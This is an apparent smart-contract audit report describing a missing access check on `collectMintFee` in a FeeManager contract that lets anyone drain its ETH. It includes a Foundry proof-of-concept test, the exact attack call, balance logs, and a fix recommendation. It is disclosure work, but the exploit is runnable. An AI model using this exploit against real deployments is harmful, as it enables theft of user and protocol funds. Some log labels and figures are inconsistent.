Sleepy Cider Cormorant

high

# Unprotected `collectMintFee` function that leads to stealing funds from `FeeManager`

## Summary
A user can steal funds stored in `FeeManager` because `collectMintFee` has no access control.

## Vulnerability Detail
The function `collectMintFee` generally should be called by `Edition` contract during the minting. However, this function can be called by anyone with parameters specified by the attacker as there are no restrictions on the `msg.sender`.

When there are funds on `FeeManager` (and they will be there as the current implementation transfers some funds during minting to this contract) an attacker can steal them by calling this function with the `FeeManager` address as `payer_` and their address as `referrer_`.

```solidity
    function collectMintFee(
        IEdition edition_,
        uint256 tokenId_,
        uint256 amount_,
        address payer_,
        address referrer_
    ) external payable {
        _collectMintFee(
            edition_, tokenId_, amount_, payer_, referrer_, getMintFee(edition_, tokenId_, amount_)
        );
    }
```

**Important:** The funds on FeeManager contract can appear from different sources, including direct call because it has receive() function and the withdraw() function that is used by the admin to rescue tokens.

Scenario showed in POC:
1. FeeManager contract is empty.
2. Alice mints 100 tokens and pay fees.
3. FeeManager contract balance is 18.94 eth.
4. Attacker calls the `collectMintFee` with the following values `feeManager.collectMintFee{value: 0 ether}(edition, tokenId, 1000, address(feeManager), attacker);`
5. FeeManager contract balance decreased now to 8.34 eth, the attacker balance increased by 0.3 eth.

**Note:** The attacker can create their own edition and position themselves as the recipient of a high fee in it. This way, they will be able to collect even more funds per transaction.

## POC results
```bash
[PASS] test_POC_stealing_from_FeeManager() (gas: 234622)
Logs:
  
  START
  Alice balance:  100000000000000000000
  Attacker balance:  100000000000000000000
  FeeManager balance:  0
  Edition balance:  0
  
  
  AFTER ALICE MINTS
  Alice balance:  80000000000000000000
  Bob balance:  100000000000000000000
  FeeManager balance:  18940000000000000000
  Edition balance:  0
  
  
  AFTER ATTACK
  Alice balance:  80000000000000000000
  Bob balance:  100300000000000000000
  FeeManager balance:  8340000000000000000
  Edition balance:  0
```

## POC file

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test, console} from "forge-std/Test.sol";

import {Edition} from "src/editions/Edition.sol";
import {FeeManager} from "src/fees/FeeManager.sol";
import {TitlesGraph} from "src/graph/TitlesGraph.sol";
import {
    Comment,
    Node,
    NodeType,
    NotOpen,
    Metadata,
    Strategy,
    Target,
    Unauthorized
} from "src/shared/Common.sol";

contract MockSplitFactory {
    struct Split {
        address[] recipients;
        uint256[] allocations;
        uint256 totalAllocation;
        uint16 distributionIncentive;
    }

    function createSplit(Split memory, address, address) external view returns (address) {
        return address(this);
    }

    receive() external payable {}
}

contract MockGraph {
    function createEdge(Node memory, Node memory, bytes memory) external {}
}

contract EditionTest is Test {
    Edition public edition;
    FeeManager public feeManager;
    TitlesGraph public graph;

    function setUp() public {
        edition = new Edition();
        feeManager = new FeeManager(address(0xdeadbeef), address(0xc0ffee), address(new MockSplitFactory()));
        graph = new TitlesGraph(address(this), address(this));

        edition.initialize(
            feeManager,
            graph,
            address(this),
            address(this),
            Metadata({label: "Test Edition", uri: "ipfs.io/test-edition", data: new bytes(0)})
        );

        edition.publish(
            address(1), // creator
            1000, // maxSupply
            0, // opensAt
            0, // closesAt
            new Node[](0), // attributions
            Strategy({
                asset: address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE),
                mintFee: 0.01 ether,
                revshareBps: 2500, // 25%
                royaltyBps: 250 // 2.5%
            }),
            Metadata({label: "Best Work Ever", uri: "ipfs.io/best-work-ever", data: new bytes(0)})
        );

        // Normally done by the TitlesCore, but we're testing in isolation
        feeManager.createRoute(edition, 1, new Target[](0), address(0));
    }

    function test_POC_stealing_from_FeeManager() public {
    // Scenario setup
    address alice = makeAddr("alice");
    address attacker = makeAddr("attacker");
    vm.deal(alice, 100 ether);
    vm.deal(attacker, 100 ether);
    uint256 tokenId = 1;
    uint256 amountSingle = 100;

    console.log("");
    console.log("START");
    console.log("Alice balance: ", alice.balance);
    console.log("Attacker balance: ", attacker.balance);
    console.log("FeeManager balance: ", address(feeManager).balance);
    console.log("Edition balance: ", address(edition).balance);
    console.log("");

    // Alice mints her tokens
    vm.startPrank(alice);
    edition.mint{value: 20 ether}(alice, tokenId, amountSingle, address(0), new bytes(0));
    vm.stopPrank();

    console.log("");
    console.log("AFTER ALICE MINTS");
    console.log("Alice balance: ", alice.balance);
    console.log("Bob balance: ", attacker.balance);
    console.log("FeeManager balance: ", address(feeManager).balance);
    console.log("Edition balance: ", address(edition).balance);
    console.log("");

    vm.startPrank(attacker);
    feeManager.collectMintFee{value: 0 ether}(edition, tokenId, 1000, address(feeManager), attacker);
    vm.stopPrank();

    console.log("");
    console.log("AFTER ATTACK");
    console.log("Alice balance: ", alice.balance);
    console.log("Bob balance: ", attacker.balance);
    console.log("FeeManager balance: ", address(feeManager).balance);
    console.log("Edition balance: ", address(edition).balance);
    console.log("");


    assertEq(edition.balanceOf(alice, tokenId), amountSingle, "User1 token balance incorrect");
}


}

```

## Impact
The user can steal funds from `FeeManager`.

## Code Snippet
https://github.com/sherlock-audit/2024-04-titles/blob/c9d16782a7d3c15c7a759f22c9e0552d5e777ed7/wallflower-contract-v2/src/fees/FeeManager.sol#L183
https://github.com/sherlock-audit/2024-04-titles/blob/c9d16782a7d3c15c7a759f22c9e0552d5e777ed7/wallflower-contract-v2/src/fees/FeeManager.sol#L202

## Tool used

Manual Review

## Recommendation

The `collectMintFee` function should be callable only by `Edition` contract or `owner`. Add appropriate checks as modifiers.